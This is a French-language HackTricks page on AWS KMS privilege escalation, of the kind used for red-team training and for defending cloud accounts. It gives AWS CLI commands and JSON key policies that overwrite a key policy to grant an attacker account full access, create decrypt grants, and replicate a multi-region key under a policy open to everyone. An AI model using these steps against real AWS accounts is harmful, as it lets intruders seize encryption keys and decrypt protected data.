AWS - KMS Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

KMS

Pour plus d'informations sur KMS, consultez :

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Avec ces autorisations, il est possible de modifier les autorisations d'accĂšs Ă  la clĂ© afin qu'elle puisse ĂȘtre utilisĂ©e par d'autres comptes ou mĂȘme par n'importe qui :

bash
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Cela permet à un principal d'utiliser une clé KMS :

bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

warning

Un grant ne peut autoriser que certains types d'opérations: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

warning

Notez qu'il peut s'écouler quelques minutes avant que KMS n'autorise l'utilisateur à utiliser la clé aprÚs que le grant a été généré. Une fois ce délai écoulé, le principal peut utiliser la KMS key sans avoir besoin de spécifier quoi que ce soit.
Cependant, si vous avez besoin d'utiliser le grant immédiatement use a grant token (vérifiez le code suivant).
Pour more info read this.

bash
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Remarque : il est possible de lister les grants des keys avec :

bash
aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Avec ces permissions, il est possible de répliquer une clé KMS multi-région activée dans une région différente avec une stratégie différente.

Ainsi, un attaquant pourrait abuser de cela pour obtenir privesc sur l'accÚs à la clé et l'utiliser

bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Cette permission permet d'utiliser une clé pour déchiffrer certaines informations.
Pour plus d'informations, consultez :

AWS - KMS Post Exploitation

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks